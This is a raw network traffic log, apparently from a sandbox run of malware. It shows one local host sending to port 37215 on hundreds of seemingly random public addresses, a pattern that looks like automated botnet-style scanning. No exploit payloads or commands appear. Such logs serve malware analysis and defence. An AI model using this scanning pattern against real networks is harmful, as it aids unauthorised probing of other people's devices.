Nov 19, 2023 09:15:42.602330923 CET	45796	37215	192.168.2.23	156.204.179.183
Nov 19, 2023 09:15:42.602330923 CET	45796	37215	192.168.2.23	156.205.114.156
Nov 19, 2023 09:15:42.602333069 CET	45796	37215	192.168.2.23	41.103.86.143
Nov 19, 2023 09:15:42.602334023 CET	45796	37215	192.168.2.23	41.94.45.60
Nov 19, 2023 09:15:42.602334023 CET	45796	37215	192.168.2.23	156.80.36.36
Nov 19, 2023 09:15:42.602334023 CET	45796	37215	192.168.2.23	197.168.52.66
Nov 19, 2023 09:15:42.602344036 CET	45796	37215	192.168.2.23	156.13.65.130
Nov 19, 2023 09:15:42.602349997 CET	45796	37215	192.168.2.23	41.93.206.80
Nov 19, 2023 09:15:42.602365017 CET	45796	37215	192.168.2.23	197.105.167.159
Nov 19, 2023 09:15:42.602371931 CET	45796	37215	192.168.2.23	197.174.207.247
Nov 19, 2023 09:15:42.602375031 CET	45796	37215	192.168.2.23	41.110.42.252
Nov 19, 2023 09:15:42.602381945 CET	45796	37215	192.168.2.23	197.180.72.156
Nov 19, 2023 09:15:42.602382898 CET	45796	37215	192.168.2.23	197.170.159.160
Nov 19, 2023 09:15:42.602389097 CET	45796	37215	192.168.2.23	156.160.251.211
Nov 19, 2023 09:15:42.602395058 CET	45796	37215	192.168.2.23	197.32.62.114
Nov 19, 2023 09:15:42.602395058 CET	45796	37215	192.168.2.23	197.163.80.239
Nov 19, 2023 09:15:42.602401018 CET	45796	37215	192.168.2.23	156.183.166.82
Nov 19, 2023 09:15:42.602410078 CET	45796	37215	192.168.2.23	41.122.223.186
Nov 19, 2023 09:15:42.602410078 CET	45796	37215	192.168.2.23	41.234.52.249
Nov 19, 2023 09:15:42.602422953 CET	45796	37215	192.168.2.23	41.79.89.64
Nov 19, 2023 09:15:42.602422953 CET	45796	37215	192.168.2.23	197.66.193.84
Nov 19, 2023 09:15:42.602422953 CET	45796	37215	192.168.2.23	197.135.204.156
Nov 19, 2023 09:15:42.602432013 CET	45796	37215	192.168.2.23	197.10.92.161
Nov 19, 2023 09:15:42.602432966 CET	45796	37215	192.168.2.23	41.129.239.72
Nov 19, 2023 09:15:42.602432966 CET	45796	37215	192.168.2.23	197.42.106.222
Nov 19, 2023 09:15:42.602433920 CET	45796	37215	192.168.2.23	41.166.119.251
Nov 19, 2023 09:15:42.602452040 CET	45796	37215	192.168.2.23	41.237.29.253
Nov 19, 2023 09:15:42.602458954 CET	45796	37215	192.168.2.23	197.45.26.112
Nov 19, 2023 09:15:42.602464914 CET	45796	37215	192.168.2.23	156.161.15.145
Nov 19, 2023 09:15:42.602466106 CET	45796	37215	192.168.2.23	156.106.228.92
Nov 19, 2023 09:15:42.602464914 CET	45796	37215	192.168.2.23	41.95.70.163
Nov 19, 2023 09:15:42.602479935 CET	45796	37215	192.168.2.23	156.239.241.244
Nov 19, 2023 09:15:42.602483988 CET	45796	37215	192.168.2.23	41.218.75.187
Nov 19, 2023 09:15:42.627372026 CET	37215	45796	197.7.174.22	192.168.2.23
Nov 19, 2023 09:15:42.627438068 CET	45796	37215	192.168.2.23	197.7.174.22
Nov 19, 2023 09:15:42.631315947 CET	37215	45796	197.7.174.22	192.168.2.23
Nov 19, 2023 09:15:42.701066017 CET	37215	45796	156.146.36.203	192.168.2.23
Nov 19, 2023 09:15:42.708381891 CET	37215	45796	156.242.18.212	192.168.2.23
Nov 19, 2023 09:15:42.771387100 CET	37215	45796	156.242.103.25	192.168.2.23
Nov 19, 2023 09:15:42.846354961 CET	37215	45796	41.230.0.222	192.168.2.23
Nov 19, 2023 09:15:42.846419096 CET	45796	37215	192.168.2.23	41.230.0.222
Nov 19, 2023 09:15:42.863600016 CET	37215	45796	41.44.100.169	192.168.2.23
Nov 19, 2023 09:15:42.915446997 CET	37215	45796	156.226.37.175	192.168.2.23
Nov 19, 2023 09:15:42.940320015 CET	37215	45796	156.250.136.235	192.168.2.23
Nov 19, 2023 09:15:42.961198092 CET	37215	45796	41.84.245.191	192.168.2.23
Nov 19, 2023 09:15:43.456342936 CET	37215	45796	197.56.23.117	192.168.2.23
Nov 19, 2023 09:15:43.603527069 CET	45796	37215	192.168.2.23	41.116.42.129
Nov 19, 2023 09:15:43.603537083 CET	45796	37215	192.168.2.23	156.45.14.5
Nov 19, 2023 09:15:43.603537083 CET	45796	37215	192.168.2.23	156.112.4.208
Nov 19, 2023 09:15:43.603542089 CET	45796	37215	192.168.2.23	156.67.19.50
Nov 19, 2023 09:15:43.603542089 CET	45796	37215	192.168.2.23	41.222.169.124
Nov 19, 2023 09:15:43.603543997 CET	45796	37215	192.168.2.23	197.22.150.195
Nov 19, 2023 09:15:43.603543997 CET	45796	37215	192.168.2.23	156.176.241.237
Nov 19, 2023 09:15:43.603574991 CET	45796	37215	192.168.2.23	156.19.19.106
Nov 19, 2023 09:15:43.603580952 CET	45796	37215	192.168.2.23	156.214.2.189
Nov 19, 2023 09:15:43.603583097 CET	45796	37215	192.168.2.23	156.29.4.131
Nov 19, 2023 09:15:43.603579044 CET	45796	37215	192.168.2.23	156.36.85.234
Nov 19, 2023 09:15:43.603584051 CET	45796	37215	192.168.2.23	197.236.112.39
Nov 19, 2023 09:15:43.603580952 CET	45796	37215	192.168.2.23	41.228.42.146
Nov 19, 2023 09:15:43.603585958 CET	45796	37215	192.168.2.23	197.96.15.54
Nov 19, 2023 09:15:43.603585958 CET	45796	37215	192.168.2.23	156.64.120.54
Nov 19, 2023 09:15:43.603604078 CET	45796	37215	192.168.2.23	41.168.160.100
Nov 19, 2023 09:15:43.603612900 CET	45796	37215	192.168.2.23	41.211.201.43
Nov 19, 2023 09:15:43.603622913 CET	45796	37215	192.168.2.23	41.102.242.17
Nov 19, 2023 09:15:43.603622913 CET	45796	37215	192.168.2.23	156.191.11.241
Nov 19, 2023 09:15:43.603622913 CET	45796	37215	192.168.2.23	41.50.213.36
Nov 19, 2023 09:15:43.603626966 CET	45796	37215	192.168.2.23	197.54.38.6
Nov 19, 2023 09:15:43.603627920 CET	45796	37215	192.168.2.23	41.56.83.146
Nov 19, 2023 09:15:43.603627920 CET	45796	37215	192.168.2.23	41.123.140.131
Nov 19, 2023 09:15:43.603630066 CET	45796	37215	192.168.2.23	41.202.184.255
Nov 19, 2023 09:15:43.603637934 CET	45796	37215	192.168.2.23	156.5.58.196
Nov 19, 2023 09:15:43.603637934 CET	45796	37215	192.168.2.23	156.93.42.212
Nov 19, 2023 09:15:43.603637934 CET	45796	37215	192.168.2.23	156.16.217.217
Nov 19, 2023 09:15:43.603651047 CET	45796	37215	192.168.2.23	41.251.128.244
Nov 19, 2023 09:15:43.603665113 CET	45796	37215	192.168.2.23	197.242.28.142
Nov 19, 2023 09:15:43.603663921 CET	45796	37215	192.168.2.23	156.217.15.141
Nov 19, 2023 09:15:43.603666067 CET	45796	37215	192.168.2.23	41.181.100.247
Nov 19, 2023 09:15:43.603665113 CET	45796	37215	192.168.2.23	41.95.231.5
Nov 19, 2023 09:15:43.603666067 CET	45796	37215	192.168.2.23	156.44.11.135
Nov 19, 2023 09:15:43.603665113 CET	45796	37215	192.168.2.23	197.211.39.15
Nov 19, 2023 09:15:43.603682995 CET	45796	37215	192.168.2.23	156.176.97.104
Nov 19, 2023 09:15:43.603682995 CET	45796	37215	192.168.2.23	156.245.214.72
Nov 19, 2023 09:15:43.603687048 CET	45796	37215	192.168.2.23	41.211.134.121
Nov 19, 2023 09:15:43.603687048 CET	45796	37215	192.168.2.23	197.210.238.81
Nov 19, 2023 09:15:43.603691101 CET	45796	37215	192.168.2.23	156.180.157.16
Nov 19, 2023 09:15:43.603691101 CET	45796	37215	192.168.2.23	41.249.182.210
Nov 19, 2023 09:15:43.603687048 CET	45796	37215	192.168.2.23	197.195.48.120
Nov 19, 2023 09:15:43.603687048 CET	45796	37215	192.168.2.23	41.222.71.57
Nov 19, 2023 09:15:43.603687048 CET	45796	37215	192.168.2.23	197.18.3.146
Nov 19, 2023 09:15:43.603687048 CET	45796	37215	192.168.2.23	197.164.84.167
Nov 19, 2023 09:15:43.603707075 CET	45796	37215	192.168.2.23	41.42.5.110
Nov 19, 2023 09:15:43.603707075 CET	45796	37215	192.168.2.23	41.181.230.71
Nov 19, 2023 09:15:43.603710890 CET	45796	37215	192.168.2.23	156.179.86.9
Nov 19, 2023 09:15:43.603715897 CET	45796	37215	192.168.2.23	156.80.149.92
Nov 19, 2023 09:15:43.603732109 CET	45796	37215	192.168.2.23	197.211.10.2
Nov 19, 2023 09:15:43.603734970 CET	45796	37215	192.168.2.23	41.37.47.110
Nov 19, 2023 09:15:43.603741884 CET	45796	37215	192.168.2.23	156.119.12.59
Nov 19, 2023 09:15:43.603741884 CET	45796	37215	192.168.2.23	41.207.101.117
Nov 19, 2023 09:15:43.603741884 CET	45796	37215	192.168.2.23	197.166.24.19
Nov 19, 2023 09:15:43.603748083 CET	45796	37215	192.168.2.23	197.180.197.32
Nov 19, 2023 09:15:43.603764057 CET	45796	37215	192.168.2.23	197.202.44.141
Nov 19, 2023 09:15:43.603770018 CET	45796	37215	192.168.2.23	197.231.205.41
Nov 19, 2023 09:15:43.603775024 CET	45796	37215	192.168.2.23	156.115.167.79
Nov 19, 2023 09:15:43.603775024 CET	45796	37215	192.168.2.23	156.201.166.31
Nov 19, 2023 09:15:43.603775024 CET	45796	37215	192.168.2.23	41.47.205.99
Nov 19, 2023 09:15:43.603775978 CET	45796	37215	192.168.2.23	197.35.41.189
Nov 19, 2023 09:15:43.603787899 CET	45796	37215	192.168.2.23	156.117.201.107
Nov 19, 2023 09:15:43.603792906 CET	45796	37215	192.168.2.23	197.182.21.90
Nov 19, 2023 09:15:43.603792906 CET	45796	37215	192.168.2.23	156.81.47.163
Nov 19, 2023 09:15:43.603801966 CET	45796	37215	192.168.2.23	41.17.85.94
Nov 19, 2023 09:15:43.603801966 CET	45796	37215	192.168.2.23	41.105.161.126
Nov 19, 2023 09:15:43.603804111 CET	45796	37215	192.168.2.23	197.70.193.112
Nov 19, 2023 09:15:43.603805065 CET	45796	37215	192.168.2.23	41.51.214.92
Nov 19, 2023 09:15:43.603805065 CET	45796	37215	192.168.2.23	41.203.12.184
Nov 19, 2023 09:15:43.603818893 CET	45796	37215	192.168.2.23	156.211.44.166
Nov 19, 2023 09:15:43.603833914 CET	45796	37215	192.168.2.23	41.170.111.35
Nov 19, 2023 09:15:43.603837013 CET	45796	37215	192.168.2.23	41.126.0.68
Nov 19, 2023 09:15:43.603846073 CET	45796	37215	192.168.2.23	197.68.105.49
Nov 19, 2023 09:15:43.603846073 CET	45796	37215	192.168.2.23	197.213.171.198
Nov 19, 2023 09:15:43.603852034 CET	45796	37215	192.168.2.23	156.132.238.163
Nov 19, 2023 09:15:43.603852034 CET	45796	37215	192.168.2.23	197.91.46.57
Nov 19, 2023 09:15:43.603868961 CET	45796	37215	192.168.2.23	41.223.58.7
Nov 19, 2023 09:15:43.603868961 CET	45796	37215	192.168.2.23	41.100.127.196
Nov 19, 2023 09:15:43.603873014 CET	45796	37215	192.168.2.23	197.94.159.165
Nov 19, 2023 09:15:43.603873014 CET	45796	37215	192.168.2.23	156.214.195.53
Nov 19, 2023 09:15:43.603873968 CET	45796	37215	192.168.2.23	41.30.30.95
Nov 19, 2023 09:15:43.603893042 CET	45796	37215	192.168.2.23	197.212.208.255
Nov 19, 2023 09:15:43.603900909 CET	45796	37215	192.168.2.23	197.251.243.137
Nov 19, 2023 09:15:43.603902102 CET	45796	37215	192.168.2.23	197.70.19.23
Nov 19, 2023 09:15:43.603902102 CET	45796	37215	192.168.2.23	197.45.149.170
Nov 19, 2023 09:15:43.603902102 CET	45796	37215	192.168.2.23	41.166.90.174
Nov 19, 2023 09:15:43.603914022 CET	45796	37215	192.168.2.23	41.126.190.30
Nov 19, 2023 09:15:43.603914022 CET	45796	37215	192.168.2.23	41.243.36.205
Nov 19, 2023 09:15:43.603916883 CET	45796	37215	192.168.2.23	156.160.87.7
Nov 19, 2023 09:15:43.603918076 CET	45796	37215	192.168.2.23	197.91.10.83
Nov 19, 2023 09:15:43.603928089 CET	45796	37215	192.168.2.23	41.109.64.188
Nov 19, 2023 09:15:43.603931904 CET	45796	37215	192.168.2.23	41.252.139.196
Nov 19, 2023 09:15:43.603931904 CET	45796	37215	192.168.2.23	197.20.241.206
Nov 19, 2023 09:15:43.603939056 CET	45796	37215	192.168.2.23	156.59.241.14
Nov 19, 2023 09:15:43.603943110 CET	45796	37215	192.168.2.23	156.81.77.168
Nov 19, 2023 09:15:43.603949070 CET	45796	37215	192.168.2.23	156.36.231.237
Nov 19, 2023 09:15:43.603949070 CET	45796	37215	192.168.2.23	197.75.138.255
Nov 19, 2023 09:15:43.603951931 CET	45796	37215	192.168.2.23	156.61.52.95
Nov 19, 2023 09:15:43.603951931 CET	45796	37215	192.168.2.23	41.234.64.39
Nov 19, 2023 09:15:43.603952885 CET	45796	37215	192.168.2.23	41.79.183.53
Nov 19, 2023 09:15:43.603960991 CET	45796	37215	192.168.2.23	41.98.9.234
Nov 19, 2023 09:15:43.603965044 CET	45796	37215	192.168.2.23	156.207.20.140
Nov 19, 2023 09:15:43.603965998 CET	45796	37215	192.168.2.23	197.8.129.170
Nov 19, 2023 09:15:43.603971958 CET	45796	37215	192.168.2.23	197.172.135.230
Nov 19, 2023 09:15:43.603982925 CET	45796	37215	192.168.2.23	156.203.32.231
Nov 19, 2023 09:15:43.603988886 CET	45796	37215	192.168.2.23	41.208.135.241
Nov 19, 2023 09:15:43.603991032 CET	45796	37215	192.168.2.23	41.39.189.36
Nov 19, 2023 09:15:43.603992939 CET	45796	37215	192.168.2.23	156.161.179.23
Nov 19, 2023 09:15:43.603998899 CET	45796	37215	192.168.2.23	41.143.67.157
Nov 19, 2023 09:15:43.604000092 CET	45796	37215	192.168.2.23	41.120.44.112
Nov 19, 2023 09:15:43.604000092 CET	45796	37215	192.168.2.23	41.92.89.125
Nov 19, 2023 09:15:43.604000092 CET	45796	37215	192.168.2.23	197.159.94.153
Nov 19, 2023 09:15:43.604021072 CET	45796	37215	192.168.2.23	156.45.169.98
Nov 19, 2023 09:15:43.604021072 CET	45796	37215	192.168.2.23	156.65.135.233
Nov 19, 2023 09:15:43.604022026 CET	45796	37215	192.168.2.23	197.166.74.60
Nov 19, 2023 09:15:43.604026079 CET	45796	37215	192.168.2.23	41.6.198.125
Nov 19, 2023 09:15:43.604032993 CET	45796	37215	192.168.2.23	156.231.40.206
Nov 19, 2023 09:15:43.604038000 CET	45796	37215	192.168.2.23	156.209.75.5
Nov 19, 2023 09:15:43.604038000 CET	45796	37215	192.168.2.23	156.64.135.109
Nov 19, 2023 09:15:43.604038000 CET	45796	37215	192.168.2.23	41.210.129.91
Nov 19, 2023 09:15:43.604048967 CET	45796	37215	192.168.2.23	41.43.49.66
Nov 19, 2023 09:15:43.604062080 CET	45796	37215	192.168.2.23	41.96.251.135
Nov 19, 2023 09:15:43.604063034 CET	45796	37215	192.168.2.23	41.50.195.38
Nov 19, 2023 09:15:43.604063034 CET	45796	37215	192.168.2.23	41.124.122.154
Nov 19, 2023 09:15:43.604063034 CET	45796	37215	192.168.2.23	156.236.188.68
Nov 19, 2023 09:15:43.604068041 CET	45796	37215	192.168.2.23	41.159.30.111
Nov 19, 2023 09:15:43.604077101 CET	45796	37215	192.168.2.23	41.85.235.182
Nov 19, 2023 09:15:43.604078054 CET	45796	37215	192.168.2.23	41.50.165.152
Nov 19, 2023 09:15:43.604077101 CET	45796	37215	192.168.2.23	41.227.118.87
Nov 19, 2023 09:15:43.604078054 CET	45796	37215	192.168.2.23	41.162.239.29
Nov 19, 2023 09:15:43.604077101 CET	45796	37215	192.168.2.23	197.247.241.7
Nov 19, 2023 09:15:43.604079962 CET	45796	37215	192.168.2.23	197.101.42.15
Nov 19, 2023 09:15:43.604079962 CET	45796	37215	192.168.2.23	41.236.91.7
Nov 19, 2023 09:15:43.604079962 CET	45796	37215	192.168.2.23	156.62.5.209
Nov 19, 2023 09:15:43.604084015 CET	45796	37215	192.168.2.23	41.210.180.57
Nov 19, 2023 09:15:43.604084015 CET	45796	37215	192.168.2.23	41.142.18.179
Nov 19, 2023 09:15:43.604096889 CET	45796	37215	192.168.2.23	156.252.251.179
Nov 19, 2023 09:15:43.604108095 CET	45796	37215	192.168.2.23	41.112.144.44
Nov 19, 2023 09:15:43.604127884 CET	45796	37215	192.168.2.23	41.164.84.222
Nov 19, 2023 09:15:43.604129076 CET	45796	37215	192.168.2.23	41.62.58.178
Nov 19, 2023 09:15:43.604129076 CET	45796	37215	192.168.2.23	41.197.37.62
Nov 19, 2023 09:15:43.604129076 CET	45796	37215	192.168.2.23	41.115.105.201
Nov 19, 2023 09:15:43.604130983 CET	45796	37215	192.168.2.23	197.85.170.148
Nov 19, 2023 09:15:43.604130983 CET	45796	37215	192.168.2.23	41.197.58.35
Nov 19, 2023 09:15:43.604136944 CET	45796	37215	192.168.2.23	197.73.122.54
Nov 19, 2023 09:15:43.604140997 CET	45796	37215	192.168.2.23	41.241.47.216
Nov 19, 2023 09:15:43.604140997 CET	45796	37215	192.168.2.23	197.191.113.176
Nov 19, 2023 09:15:43.604149103 CET	45796	37215	192.168.2.23	41.202.53.131
Nov 19, 2023 09:15:43.604163885 CET	45796	37215	192.168.2.23	156.226.32.120
Nov 19, 2023 09:15:43.604163885 CET	45796	37215	192.168.2.23	156.48.103.198
Nov 19, 2023 09:15:43.604163885 CET	45796	37215	192.168.2.23	197.47.133.195
Nov 19, 2023 09:15:43.604166985 CET	45796	37215	192.168.2.23	41.73.96.109
Nov 19, 2023 09:15:43.604166985 CET	45796	37215	192.168.2.23	156.221.235.66
Nov 19, 2023 09:15:43.604168892 CET	45796	37215	192.168.2.23	197.197.108.167
Nov 19, 2023 09:15:43.604172945 CET	45796	37215	192.168.2.23	156.218.192.159
Nov 19, 2023 09:15:43.604176044 CET	45796	37215	192.168.2.23	156.190.210.232
Nov 19, 2023 09:15:43.604176044 CET	45796	37215	192.168.2.23	197.160.179.133
Nov 19, 2023 09:15:43.604182959 CET	45796	37215	192.168.2.23	41.87.67.153
Nov 19, 2023 09:15:43.604203939 CET	45796	37215	192.168.2.23	197.139.157.230
Nov 19, 2023 09:15:43.604203939 CET	45796	37215	192.168.2.23	156.41.225.68
Nov 19, 2023 09:15:43.604204893 CET	45796	37215	192.168.2.23	197.137.96.113
Nov 19, 2023 09:15:43.604204893 CET	45796	37215	192.168.2.23	156.136.215.106
Nov 19, 2023 09:15:43.604207993 CET	45796	37215	192.168.2.23	41.193.8.20
Nov 19, 2023 09:15:43.604204893 CET	45796	37215	192.168.2.23	156.65.37.83
Nov 19, 2023 09:15:43.604237080 CET	45796	37215	192.168.2.23	41.78.86.33
Nov 19, 2023 09:15:43.604237080 CET	45796	37215	192.168.2.23	197.121.115.19
Nov 19, 2023 09:15:43.604242086 CET	45796	37215	192.168.2.23	41.129.16.218
Nov 19, 2023 09:15:43.604242086 CET	45796	37215	192.168.2.23	156.5.14.128
Nov 19, 2023 09:15:43.604243040 CET	45796	37215	192.168.2.23	197.162.44.211
Nov 19, 2023 09:15:43.604243040 CET	45796	37215	192.168.2.23	197.45.185.165
Nov 19, 2023 09:15:43.604243040 CET	45796	37215	192.168.2.23	41.116.255.130
Nov 19, 2023 09:15:43.604252100 CET	45796	37215	192.168.2.23	197.123.4.218
Nov 19, 2023 09:15:43.604254007 CET	45796	37215	192.168.2.23	41.53.227.30
Nov 19, 2023 09:15:43.604255915 CET	45796	37215	192.168.2.23	197.226.0.188
Nov 19, 2023 09:15:43.604269028 CET	45796	37215	192.168.2.23	156.221.249.179
Nov 19, 2023 09:15:43.604280949 CET	45796	37215	192.168.2.23	41.48.237.249
Nov 19, 2023 09:15:43.604279995 CET	45796	37215	192.168.2.23	197.41.95.200
Nov 19, 2023 09:15:43.604279995 CET	45796	37215	192.168.2.23	197.198.40.89
Nov 19, 2023 09:15:43.604283094 CET	45796	37215	192.168.2.23	41.51.58.47
Nov 19, 2023 09:15:43.604280949 CET	45796	37215	192.168.2.23	41.213.182.110
Nov 19, 2023 09:15:43.604285955 CET	45796	37215	192.168.2.23	41.46.84.187
Nov 19, 2023 09:15:43.604305029 CET	45796	37215	192.168.2.23	41.194.81.112
Nov 19, 2023 09:15:43.604309082 CET	45796	37215	192.168.2.23	197.114.0.211
Nov 19, 2023 09:15:43.604310036 CET	45796	37215	192.168.2.23	41.172.174.99
Nov 19, 2023 09:15:43.604310036 CET	45796	37215	192.168.2.23	156.157.124.58
Nov 19, 2023 09:15:43.604310989 CET	45796	37215	192.168.2.23	197.45.65.90
Nov 19, 2023 09:15:43.604310036 CET	45796	37215	192.168.2.23	41.166.229.134
Nov 19, 2023 09:15:43.604312897 CET	45796	37215	192.168.2.23	156.2.209.227
Nov 19, 2023 09:15:43.604319096 CET	45796	37215	192.168.2.23	197.127.214.236
Nov 19, 2023 09:15:43.604332924 CET	45796	37215	192.168.2.23	41.38.183.78
Nov 19, 2023 09:15:43.604336023 CET	45796	37215	192.168.2.23	41.50.140.200
Nov 19, 2023 09:15:43.604336023 CET	45796	37215	192.168.2.23	197.31.211.247
Nov 19, 2023 09:15:43.604346037 CET	45796	37215	192.168.2.23	156.224.180.175
Nov 19, 2023 09:15:43.604348898 CET	45796	37215	192.168.2.23	197.104.126.255
Nov 19, 2023 09:15:43.604352951 CET	45796	37215	192.168.2.23	156.89.115.103
Nov 19, 2023 09:15:43.604352951 CET	45796	37215	192.168.2.23	156.200.92.102
Nov 19, 2023 09:15:43.604372025 CET	45796	37215	192.168.2.23	41.50.117.156
Nov 19, 2023 09:15:43.604372025 CET	45796	37215	192.168.2.23	41.109.114.140
Nov 19, 2023 09:15:43.604378939 CET	45796	37215	192.168.2.23	41.144.138.212
Nov 19, 2023 09:15:43.604379892 CET	45796	37215	192.168.2.23	156.216.72.66
Nov 19, 2023 09:15:43.604379892 CET	45796	37215	192.168.2.23	41.149.27.226
Nov 19, 2023 09:15:43.604387045 CET	45796	37215	192.168.2.23	41.246.17.221
Nov 19, 2023 09:15:43.604393005 CET	45796	37215	192.168.2.23	197.113.177.73
Nov 19, 2023 09:15:43.604398012 CET	45796	37215	192.168.2.23	197.92.72.252
Nov 19, 2023 09:15:43.604407072 CET	45796	37215	192.168.2.23	41.70.210.23
Nov 19, 2023 09:15:43.604410887 CET	45796	37215	192.168.2.23	41.242.61.198
Nov 19, 2023 09:15:43.604420900 CET	45796	37215	192.168.2.23	197.172.41.158
Nov 19, 2023 09:15:43.604422092 CET	45796	37215	192.168.2.23	156.165.9.58
Nov 19, 2023 09:15:43.604424000 CET	45796	37215	192.168.2.23	197.150.19.139
Nov 19, 2023 09:15:43.604424000 CET	45796	37215	192.168.2.23	197.99.23.57
Nov 19, 2023 09:15:43.604425907 CET	45796	37215	192.168.2.23	156.46.212.158
Nov 19, 2023 09:15:43.604425907 CET	45796	37215	192.168.2.23	197.56.90.116
Nov 19, 2023 09:15:43.604428053 CET	45796	37215	192.168.2.23	197.14.228.127
Nov 19, 2023 09:15:43.604444027 CET	45796	37215	192.168.2.23	156.182.69.203
Nov 19, 2023 09:15:43.604449987 CET	45796	37215	192.168.2.23	197.142.58.111
Nov 19, 2023 09:15:43.604450941 CET	45796	37215	192.168.2.23	41.54.41.233
Nov 19, 2023 09:15:43.604451895 CET	45796	37215	192.168.2.23	197.5.0.162
Nov 19, 2023 09:15:43.604454994 CET	45796	37215	192.168.2.23	41.37.199.162
Nov 19, 2023 09:15:43.604463100 CET	45796	37215	192.168.2.23	41.251.143.241
Nov 19, 2023 09:15:43.604463100 CET	45796	37215	192.168.2.23	156.110.246.200
Nov 19, 2023 09:15:43.604463100 CET	45796	37215	192.168.2.23	41.240.196.209
Nov 19, 2023 09:15:43.604480028 CET	45796	37215	192.168.2.23	197.66.6.33
Nov 19, 2023 09:15:43.604480028 CET	45796	37215	192.168.2.23	41.241.134.171
Nov 19, 2023 09:15:43.604492903 CET	45796	37215	192.168.2.23	197.103.84.220
Nov 19, 2023 09:15:43.604495049 CET	45796	37215	192.168.2.23	41.44.255.172
Nov 19, 2023 09:15:43.604506969 CET	45796	37215	192.168.2.23	156.210.118.188
Nov 19, 2023 09:15:43.604507923 CET	45796	37215	192.168.2.23	156.188.240.191
Nov 19, 2023 09:15:43.604507923 CET	45796	37215	192.168.2.23	197.38.184.182
Nov 19, 2023 09:15:43.604515076 CET	45796	37215	192.168.2.23	41.77.203.73
Nov 19, 2023 09:15:43.604515076 CET	45796	37215	192.168.2.23	41.201.223.85
Nov 19, 2023 09:15:43.604515076 CET	45796	37215	192.168.2.23	156.193.230.228
Nov 19, 2023 09:15:43.604518890 CET	45796	37215	192.168.2.23	41.79.243.216
Nov 19, 2023 09:15:43.604522943 CET	45796	37215	192.168.2.23	156.71.228.149
Nov 19, 2023 09:15:43.604527950 CET	45796	37215	192.168.2.23	41.97.144.83
Nov 19, 2023 09:15:43.604547024 CET	45796	37215	192.168.2.23	156.71.238.147
Nov 19, 2023 09:15:43.604547024 CET	45796	37215	192.168.2.23	156.72.82.53
Nov 19, 2023 09:15:43.604547024 CET	45796	37215	192.168.2.23	156.247.141.111
Nov 19, 2023 09:15:43.604552031 CET	45796	37215	192.168.2.23	41.60.254.71
Nov 19, 2023 09:15:43.604566097 CET	45796	37215	192.168.2.23	197.174.17.86
Nov 19, 2023 09:15:43.604581118 CET	45796	37215	192.168.2.23	41.41.82.202
Nov 19, 2023 09:15:43.604581118 CET	45796	37215	192.168.2.23	156.17.158.22
Nov 19, 2023 09:15:43.604585886 CET	45796	37215	192.168.2.23	41.141.251.104
Nov 19, 2023 09:15:43.604589939 CET	45796	37215	192.168.2.23	156.193.72.73
Nov 19, 2023 09:15:43.604593992 CET	45796	37215	192.168.2.23	41.109.227.135
Nov 19, 2023 09:15:43.604594946 CET	45796	37215	192.168.2.23	41.64.143.84
Nov 19, 2023 09:15:43.604600906 CET	45796	37215	192.168.2.23	197.88.138.99
Nov 19, 2023 09:15:43.604602098 CET	45796	37215	192.168.2.23	156.206.127.111
Nov 19, 2023 09:15:43.604604006 CET	45796	37215	192.168.2.23	41.121.93.118
Nov 19, 2023 09:15:43.604604006 CET	45796	37215	192.168.2.23	41.219.1.32
Nov 19, 2023 09:15:43.604615927 CET	45796	37215	192.168.2.23	197.246.112.190
Nov 19, 2023 09:15:43.604624987 CET	45796	37215	192.168.2.23	197.127.190.55
Nov 19, 2023 09:15:43.604630947 CET	45796	37215	192.168.2.23	41.208.49.214
Nov 19, 2023 09:15:43.604630947 CET	45796	37215	192.168.2.23	197.35.145.66
Nov 19, 2023 09:15:43.604630947 CET	45796	37215	192.168.2.23	41.151.241.169
Nov 19, 2023 09:15:43.604630947 CET	45796	37215	192.168.2.23	197.145.38.121
Nov 19, 2023 09:15:43.604643106 CET	45796	37215	192.168.2.23	41.206.26.25
Nov 19, 2023 09:15:43.604644060 CET	45796	37215	192.168.2.23	41.90.59.201
Nov 19, 2023 09:15:43.604649067 CET	45796	37215	192.168.2.23	41.30.58.174
Nov 19, 2023 09:15:43.604650974 CET	45796	37215	192.168.2.23	156.215.40.221
Nov 19, 2023 09:15:43.604650974 CET	45796	37215	192.168.2.23	41.186.252.113
Nov 19, 2023 09:15:43.604650974 CET	45796	37215	192.168.2.23	156.57.96.11
Nov 19, 2023 09:15:43.604655027 CET	45796	37215	192.168.2.23	156.136.97.199
Nov 19, 2023 09:15:43.604677916 CET	45796	37215	192.168.2.23	197.13.189.164
Nov 19, 2023 09:15:43.604679108 CET	45796	37215	192.168.2.23	41.203.34.153
Nov 19, 2023 09:15:43.604679108 CET	45796	37215	192.168.2.23	41.245.126.144
Nov 19, 2023 09:15:43.604679108 CET	45796	37215	192.168.2.23	156.85.48.79
Nov 19, 2023 09:15:43.604679108 CET	45796	37215	192.168.2.23	197.180.243.188
Nov 19, 2023 09:15:43.604686975 CET	45796	37215	192.168.2.23	197.4.179.141
Nov 19, 2023 09:15:43.604688883 CET	45796	37215	192.168.2.23	41.4.114.107
Nov 19, 2023 09:15:43.604692936 CET	45796	37215	192.168.2.23	197.224.88.172
Nov 19, 2023 09:15:43.604711056 CET	45796	37215	192.168.2.23	156.51.143.1
Nov 19, 2023 09:15:43.604711056 CET	45796	37215	192.168.2.23	156.44.46.44
Nov 19, 2023 09:15:43.604711056 CET	45796	37215	192.168.2.23	41.136.121.114
Nov 19, 2023 09:15:43.604715109 CET	45796	37215	192.168.2.23	197.156.18.80
Nov 19, 2023 09:15:43.604729891 CET	45796	37215	192.168.2.23	197.252.57.187
Nov 19, 2023 09:15:43.604733944 CET	45796	37215	192.168.2.23	156.221.149.142
Nov 19, 2023 09:15:43.604741096 CET	45796	37215	192.168.2.23	41.168.6.220
Nov 19, 2023 09:15:43.604741096 CET	45796	37215	192.168.2.23	41.177.204.8
Nov 19, 2023 09:15:43.604741096 CET	45796	37215	192.168.2.23	156.49.226.81
Nov 19, 2023 09:15:43.604748964 CET	45796	37215	192.168.2.23	197.58.64.137
Nov 19, 2023 09:15:43.604762077 CET	45796	37215	192.168.2.23	41.196.28.96
Nov 19, 2023 09:15:43.604773045 CET	45796	37215	192.168.2.23	156.223.94.234
Nov 19, 2023 09:15:43.604774952 CET	45796	37215	192.168.2.23	197.95.243.130
Nov 19, 2023 09:15:43.604774952 CET	45796	37215	192.168.2.23	41.206.39.217
Nov 19, 2023 09:15:43.604773045 CET	45796	37215	192.168.2.23	156.101.116.88
Nov 19, 2023 09:15:43.604774952 CET	45796	37215	192.168.2.23	41.56.40.220
Nov 19, 2023 09:15:43.604782104 CET	45796	37215	192.168.2.23	197.187.50.22
Nov 19, 2023 09:15:43.604787111 CET	45796	37215	192.168.2.23	156.141.150.38
